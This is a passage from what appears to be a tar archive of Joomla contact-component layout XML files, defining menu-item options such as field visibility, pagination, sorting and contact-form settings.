				<option value="plain">COM_CONTACT_FIELD_VALUE_PLAIN</option>
			</field>

			<field
				name="show_contact_category"
				type="list"
				label="COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL"
				description="COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="hide">JHIDE</option>
				<option value="show_no_link">COM_CONTACT_FIELD_VALUE_NO_LINK</option>
				<option value="show_with_link">COM_CONTACT_FIELD_VALUE_WITH_LINK</option>
			</field>

			<field
				name="show_contact_list"
				type="list"
				label="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL"
				description="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_name"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_NAME_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_NAME_DESC"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
				description="COM_CONTACT_FIELD_SHOW_TAGS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_info"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
				description="COM_CONTACT_FIELD_SHOW_INFO_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_position"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email"
				type="list"
				label="JGLOBAL_EMAIL"
				description="COM_CONTACT_FIELD_PARAMS_CONTACT_E_MAIL_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_street_address"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_suburb"
				type="list"
				description="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_DESC"
				label="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_state"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_postcode"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_country"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_COUNTRY_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_telephone"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_TELEPHONE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_mobile"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_MOBILE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_fax"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_FAX_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_FAX_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_webpage"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_WEBPAGE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_image"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_IMAGE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="allow_vcard"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_VCARD_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_VCARD_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_misc"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_MISC_INFO_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_articles"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL"
				description="COM_CONTACT_FIELD_ARTICLES_SHOW_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="articles_display_num"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
				description="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_DESC"
				default=""
				useglobal="true"
				>
				<option value="use_contact">COM_CONTACT_FIELD_VALUE_USE_CONTACT_SETTINGS</option>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="75">J75</option>
				<option value="100">J100</option>
				<option value="150">J150</option>
				<option value="200">J200</option>
				<option value="250">J250</option>
				<option value="300">J300</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="show_links"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_LINKS_LABEL"
				description="COM_CONTACT_FIELD_SHOW_LINKS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="linka_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKA_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linkb_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKB_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linkc_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKC_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linkd_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKD_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linke_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKE_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>
		</fieldset>
		<!-- Form options. -->
		<fieldset name="Contact_Form" label="COM_CONTACT_MAIL_FIELDSET_LABEL">
			<field
				name="show_email_form"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL"
				description="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_copy"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL"
				description="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="validate_session"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="custom_reply"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="redirect"
				type="text"
				label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_REDIRECT_DESC"
				size="30"
				useglobal="true"
			/>
		</fieldset>

		<fieldset name="integration">

			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				description="JGLOBAL_SHOW_FEED_LINK_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>
	</fields>
</metadata>
com_contact/views/category/tmpl/default.xml000060400000045714152453734460015155 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONTACT_CATEGORY_VIEW_DEFAULT_TITLE" option="COM_CONTACT_CATEGORY_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORY"
		/>
		<message>
			<![CDATA[COM_CONTACT_CATEGORY_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request"
		addfieldpath="/administrator/components/com_categories/models/fields"
	>
		<fieldset name="request"
			addfieldpath="/administrator/components/com_contact/models/fields"
		>
			<field
				name="id"
				type="modal_category"
				label="COM_CONTACT_FIELD_CATEGORY_LABEL"
				description="COM_CONTACT_FIELD_CATEGORY_DESC"
				extension="com_contact"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>
	</fields>


	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="JGLOBAL_CATEGORY_OPTIONS">

			<field
				name="spacer1"
				type="spacer"
				label="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
				class="text"
			/>

			<field
				name="show_category_title"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_TITLE"
				description="JGLOBAL_SHOW_CATEGORY_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description_image"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_IMAGE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="maxLevel"
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				description="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC"
				useglobal="true"
				>
				<option value="-1">JALL</option>
				<option value="0">JNONE</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field
				name="show_empty_categories"
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				description="COM_CONTACT_SHOW_EMPTY_CATEGORIES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>


			<field
				name="show_subcat_desc"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_items"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL"
				description="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS">

			<field
				name="spacer2"
				type="spacer"
				label="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
				class="text"
			/>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				description="JGLOBAL_FILTER_FIELD_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				description="JGLOBAL_DISPLAY_SELECT_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_headings"
				type="list"
				label="JGLOBAL_SHOW_HEADINGS_LABEL"
				description="JGLOBAL_SHOW_HEADINGS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_image_heading"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SHOW_IMAGE_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_SHOW_IMAGE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_position_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_POSITION_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_POSITION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_headings"
				type="list"
				label="JGLOBAL_EMAIL"
				description="COM_CONTACT_FIELD_CONFIG_EMAIL_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_telephone_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_PHONE_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_PHONE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_mobile_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_MOBILE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_fax_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_FAX_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_FAX_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_suburb_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_SUBURB_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_state_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_STATE_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_STATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_country_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_COUNTRY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				description="JGLOBAL_PAGINATION_DESC"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				description="JGLOBAL_PAGINATION_RESULTS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>

			</field>

			<field
				name="initial_sort"
				type="list"
				label="COM_CONTACT_FIELD_INITIAL_SORT_LABEL"
				description="COM_CONTACT_FIELD_INITIAL_SORT_DESC"
				useglobal="true"
				>
				<option value="name">COM_CONTACT_FIELD_VALUE_NAME</option>
				<option value="sortname">COM_CONTACT_FIELD_VALUE_SORT_NAME</option>
				<option value="ordering">COM_CONTACT_FIELD_VALUE_ORDERING</option>
			</field>
		</fieldset>

		<fieldset name="contact" label="COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL"
			addfieldpath="/administrator/components/com_fields/models/fields">
			
			<field
				name="contact_layout"
				type="componentlayout"
				label="JGLOBAL_FIELD_LAYOUT_LABEL"
				description="JGLOBAL_FIELD_LAYOUT_DESC"
				menuitems="true"
				extension="com_contact"
				view="contact"
			/>
			
			<field
				name="presentation_style"
				type="list"
				label="COM_CONTACT_FIELD_PRESENTATION_LABEL"
				description="COM_CONTACT_FIELD_PRESENTATION_DESC"
				useglobal="true"
				>
				<option value="sliders">COM_CONTACT_FIELD_VALUE_SLIDERS</option>
				<option value="tabs">COM_CONTACT_FIELD_VALUE_TABS</option>
				<option value="plain">COM_CONTACT_FIELD_VALUE_PLAIN</option>
			</field>

			<field
				name="show_contact_category"
				type="list"
				label="COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL"
				description="COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="hide">JHIDE</option>
				<option value="show_no_link">COM_CONTACT_FIELD_VALUE_NO_LINK</option>
				<option value="show_with_link">COM_CONTACT_FIELD_VALUE_WITH_LINK</option>
			</field>

			<field
				name="show_contact_list"
				type="list"
				label="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL"
				description="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_name"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_NAME_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_NAME_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
				description="COM_CONTACT_FIELD_SHOW_TAGS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_info"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
				description="COM_CONTACT_FIELD_SHOW_INFO_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_position"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>

			</field>

			<field
				name="show_email"
				type="list"
				label="JGLOBAL_EMAIL"
				description="COM_CONTACT_FIELD_PARAMS_CONTACT_E_MAIL_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_street_address"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_suburb"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_state"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_postcode"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_country"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_COUNTRY_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_telephone"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_TELEPHONE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_mobile"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_MOBILE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_fax"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_FAX_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_FAX_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_webpage"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_WEBPAGE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_image"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_IMAGE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="allow_vcard"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_VCARD_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_VCARD_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_misc"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_MISC_INFO_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_articles"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL"
				description="COM_CONTACT_FIELD_ARTICLES_SHOW_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="articles_display_num"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
				description="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_DESC"
				default=""
				useglobal="true"
				>
				<option value="use_contact">COM_CONTACT_FIELD_VALUE_USE_CONTACT_SETTINGS</option>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="75">J75</option>
				<option value="100">J100</option>
				<option value="150">J150</option>
				<option value="200">J200</option>
				<option value="250">J250</option>
				<option value="300">J300</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="show_links"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_LINKS_LABEL"
				description="COM_CONTACT_FIELD_SHOW_LINKS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_user_custom_fields"
				type="fieldgroups"
				label="COM_CONTACT_FIELD_USER_CUSTOM_FIELDS_SHOW_LABEL"
				description="COM_CONTACT_FIELD_USER_CUSTOM_FIELDS_SHOW_DESC"
				multiple="true"
				context="com_users.user"
				>
				<option value="-1">JALL</option>
			</field>

			<field
				name="linka_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKA_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linkb_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKB_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linkc_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKC_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linkd_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKD_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linke_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKE_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>
		</fieldset>
		<!-- Form options. -->
		<fieldset name="Contact_Form" label="COM_CONTACT_MAIL_FIELDSET_LABEL">

			<field
				name="show_email_form"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL"
				description="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_copy"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL"
				description="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="validate_session"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="custom_reply"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="redirect"
				type="text"
				label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_REDIRECT_DESC"
				size="30"
				useglobal="true"
			/>
		</fieldset>

		<fieldset name="integration">

			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_Show_Feed_Link_Label"
				description="JGLOBAL_Show_Feed_Link_Desc"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>
	</fields>
